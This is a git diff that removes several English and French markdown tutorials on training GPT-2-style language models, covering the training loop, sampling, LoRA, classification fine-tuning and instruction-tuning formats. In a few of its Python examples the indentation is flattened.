- # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() - - -# Start training! -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") - - - -# Show graphics with the training process -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) - - -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -``` - -Let's see an explanation step by step - -### Functions to transform text <--> ids - -These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions: - -```python -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) -``` - -### Generate text functions - -In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic. - -The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts. - -- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`. -- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have. -- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1. -- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%. - -```python -# Generate text function -def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None): - - # For-loop is the same as before: Get logits, and only focus on last time step - for _ in range(max_new_tokens): - idx_cond = idx[:, -context_size:] - with torch.no_grad(): - logits = model(idx_cond) - logits = logits[:, -1, :] - - # New: Filter logits with top_k sampling - if top_k is not None: - # Keep only top_k values - top_logits, _ = torch.topk(logits, top_k) - min_val = top_logits[:, -1] - logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits) - - # New: Apply temperature scaling - if temperature > 0.0: - logits = logits / temperature - - # Apply softmax to get probabilities - probs = torch.softmax(logits, dim=-1) # (batch_size, context_len) - - # Sample from the distribution - idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1) - - # Otherwise same as before: get idx of the vocab entry with the highest logits value - else: - idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1) - - if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified - break - - # Same as before: append sampled index to the running sequence - idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) - - return idx -``` - -> [!NOTE] -> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**. -> -> Then, **only those words** of the vocabulary will be considered according to their relative probabilities -> -> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**. -> -> _Note that this improvement isn't included in the previous code._ - -> [!NOTE] -> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\ -> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices. -> -> _Note that this improvement isn't included in the previous code._ - -### Loss functions - -The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\ -The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**. - -```python -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches -``` - -> [!NOTE] -> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the model’s parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training. -> -> _Note that this improvement isn't included in the previous code._ -> -> Check the following example: - -
- -### Loading Data - -The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section. - -From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\ -Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model. - -Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\ -The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes. - -Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set). - -Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch. - -```python -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) -``` - -## Sanity Checks - -The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation: - -```python -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) -``` - -### Select device for training & pre calculations - -The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point. - -```python -# Indicate the device to use - -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) -``` - -### Training functions - -The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step. - -The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training. - -Then the big function `train_model_simple` is the one that actually train the model. It expects: - -- The train data loader (with the data already separated and prepared for training) -- The validator loader -- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more. - - `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them. - - The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized). - - **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature. - - Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization. -- The device to use for training -- The number of epochs: Number of times to go over the training data -- The evaluation frequency: The frequency to call `evaluate_model` -- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample` -- The start context: Which the starting sentence to use when calling `generate_and_print_sample` -- The tokenizer - -```python -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): - # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() # Set in eval mode to avoid dropout - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() # Back to training model applying all the configurations - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() # Set in eval mode to avoid dropout - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() # Back to training model applying all the configurations -``` - -> [!NOTE] -> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.** -> -> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\ -> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases. -> -> _Note that these improvements aren't included in the previous code._ - -### Start training - -```python -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") -``` - -### Print training evolution - -With the following function it's possible to print the evolution of the model while it was being trained. - -```python -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) -``` - -### Save the model - -It's possible to save the model + optimizer if you want to continue training later: - -```python -# Save the model and the optimizer for later training -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -# Note that this model with the optimizer occupied close to 2GB - -# Restore model and optimizer for training -checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device) - -model = GPTModel(GPT_CONFIG_124M) -model.load_state_dict(checkpoint["model_state_dict"]) -optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1) -optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) -model.train(); # Put in training mode -``` - -Or just the model if you are planing just on using it: - -```python -# Save the model -torch.save(model.state_dict(), "model.pth") - -# Load it -model = GPTModel(GPT_CONFIG_124M) - -model.load_state_dict(torch.load("model.pth", map_location=device)) - -model.eval() # Put in eval mode -``` - -## Loading GPT2 weights - -There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then: - -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you" -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts. - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md deleted file mode 100644 index 8744a1823..000000000 --- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md +++ /dev/null @@ -1,61 +0,0 @@ -# 7.0. Améliorations de LoRA dans le fine-tuning - -## Améliorations de LoRA - -> [!TIP] -> L'utilisation de **LoRA réduit beaucoup le calcul** nécessaire pour **affiner** des modèles déjà entraînés. - -LoRA permet d'affiner **de grands modèles** de manière efficace en ne changeant qu'une **petite partie** du modèle. Cela réduit le nombre de paramètres que vous devez entraîner, économisant ainsi de la **mémoire** et des **ressources informatiques**. Cela est dû au fait que : - -1. **Réduit le Nombre de Paramètres Entraînables** : Au lieu de mettre à jour l'ensemble de la matrice de poids dans le modèle, LoRA **divise** la matrice de poids en deux matrices plus petites (appelées **A** et **B**). Cela rend l'entraînement **plus rapide** et nécessite **moins de mémoire** car moins de paramètres doivent être mis à jour. - -1. Cela est dû au fait qu'au lieu de calculer la mise à jour complète des poids d'une couche (matrice), il l'approxime à un produit de 2 matrices plus petites réduisant la mise à jour à calculer :\ - -
- -2. **Garde les Poids du Modèle Original Inchangés** : LoRA vous permet de garder les poids du modèle original identiques, et ne met à jour que les **nouvelles petites matrices** (A et B). Cela est utile car cela signifie que les connaissances originales du modèle sont préservées, et vous ne modifiez que ce qui est nécessaire. -3. **Affinage Efficace Spécifique à la Tâche** : Lorsque vous souhaitez adapter le modèle à une **nouvelle tâche**, vous pouvez simplement entraîner les **petites matrices LoRA** (A et B) tout en laissant le reste du modèle tel quel. Cela est **beaucoup plus efficace** que de réentraîner l'ensemble du modèle. -4. **Efficacité de Stockage** : Après le fine-tuning, au lieu de sauvegarder un **nouveau modèle entier** pour chaque tâche, vous n'avez besoin de stocker que les **matrices LoRA**, qui sont très petites par rapport à l'ensemble du modèle. Cela facilite l'adaptation du modèle à de nombreuses tâches sans utiliser trop de stockage. - -Afin d'implémenter LoraLayers au lieu de Linear lors d'un fine-tuning, ce code est proposé ici [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb) : -```python -import math - -# Create the LoRA layer with the 2 matrices and the alpha -class LoRALayer(torch.nn.Module): -def __init__(self, in_dim, out_dim, rank, alpha): -super().__init__() -self.A = torch.nn.Parameter(torch.empty(in_dim, rank)) -torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization -self.B = torch.nn.Parameter(torch.zeros(rank, out_dim)) -self.alpha = alpha - -def forward(self, x): -x = self.alpha * (x @ self.A @ self.B) -return x - -# Combine it with the linear layer -class LinearWithLoRA(torch.nn.Module): -def __init__(self, linear, rank, alpha): -super().__init__() -self.linear = linear -self.lora = LoRALayer( -linear.in_features, linear.out_features, rank, alpha -) - -def forward(self, x): -return self.linear(x) + self.lora(x) - -# Replace linear layers with LoRA ones -def replace_linear_with_lora(model, rank, alpha): -for name, module in model.named_children(): -if isinstance(module, torch.nn.Linear): -# Replace the Linear layer with LinearWithLoRA -setattr(model, name, LinearWithLoRA(module, rank, alpha)) -else: -# Recursively apply the same function to child modules -replace_linear_with_lora(module, rank, alpha) -``` -## Références - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md b/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md deleted file mode 100644 index 447524b91..000000000 --- a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md +++ /dev/null @@ -1,117 +0,0 @@ -# 7.1. Fine-Tuning for Classification - -## What is - -Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch. - -> [!NOTE] -> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform. - -> [!TIP] -> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not). - -## Preparing the data set - -### Data set size - -Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ - -This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each. - -Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**. - -- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation. - - This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one. -- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications. - -### Entries length - -As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding. - -### Initialize the model - -Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it. - -## Classification head - -In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words). - -```python -# This code modified the final layer with a Linear one with 2 outs -num_classes = 2 -model.out_head = torch.nn.Linear( - -in_features=BASE_CONFIG["emb_dim"], - -out_features=num_classes -) -``` - -## Parameters to tune - -In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**. - -```python -# This code makes all the parameters of the model unrtainable -for param in model.parameters(): - param.requires_grad = False - -# Allow to fine tune the last layer in the transformer block -for param in model.trf_blocks[-1].parameters(): - param.requires_grad = True - -# Allow to fine tune the final layer norm -for param in model.final_norm.parameters(): - -param.requires_grad = True -``` - -## Entries to use for training - -In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language. - -In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token. - -This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as: - -```python -def calc_accuracy_loader(data_loader, model, device, num_batches=None): - model.eval() - correct_predictions, num_examples = 0, 0 - - if num_batches is None: - num_batches = len(data_loader) - else: - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - - with torch.no_grad(): - logits = model(input_batch)[:, -1, :] # Logits of last output token - predicted_labels = torch.argmax(logits, dim=-1) - - num_examples += predicted_labels.shape[0] - correct_predictions += (predicted_labels == target_batch).sum().item() - else: - break - return correct_predictions / num_examples - - -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch)[:, -1, :] # Logits of last output token - loss = torch.nn.functional.cross_entropy(logits, target_batch) - return loss -``` - -Note how for each batch we are only interested in the **logits of the last token predicted**. - -## Complete GPT2 fine-tune classification code - -You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb) - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md b/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md deleted file mode 100644 index 36863308d..000000000 --- a/src/todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md +++ /dev/null @@ -1,100 +0,0 @@ -# 7.2. Ajustement pour suivre les instructions - -> [!TIP] -> L'objectif de cette section est de montrer comment **ajuster un modèle déjà pré-entraîné pour suivre des instructions** plutôt que de simplement générer du texte, par exemple, répondre à des tâches en tant que chatbot. - -## Ensemble de données - -Pour ajuster un LLM afin de suivre des instructions, il est nécessaire d'avoir un ensemble de données avec des instructions et des réponses pour affiner le LLM. Il existe différents formats pour entraîner un LLM à suivre des instructions, par exemple : - -- L'exemple de style de prompt Apply Alpaca : -```csharp -Below is an instruction that describes a task. Write a response that appropriately completes the request. - -### Instruction: -Calculate the area of a circle with a radius of 5 units. - -### Response: -The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units: - -\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units. -``` -- Exemple de style de prompt Phi-3 : -```vbnet -<|User|> -Can you explain what gravity is in simple terms? - -<|Assistant|> -Absolutely! Gravity is a force that pulls objects toward each other. -``` -Former un LLM avec ce type de jeux de données au lieu de simplement du texte brut aide le LLM à comprendre qu'il doit donner des réponses spécifiques aux questions qu'il reçoit. - -Par conséquent, l'une des premières choses à faire avec un ensemble de données contenant des demandes et des réponses est de modéliser ces données dans le format de prompt souhaité, comme : -```python -# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb -def format_input(entry): -instruction_text = ( -f"Below is an instruction that describes a task. " -f"Write a response that appropriately completes the request." -f"\n\n### Instruction:\n{entry['instruction']}" -) - -input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else "" - -return instruction_text + input_text - -model_input = format_input(data[50]) - -desired_response = f"\n\n### Response:\n{data[50]['output']}" - -print(model_input + desired_response) -``` -Ensuite, comme toujours, il est nécessaire de séparer le jeu de données en ensembles pour l'entraînement, la validation et le test. - -## Batching & Data Loaders - -Ensuite, il est nécessaire de 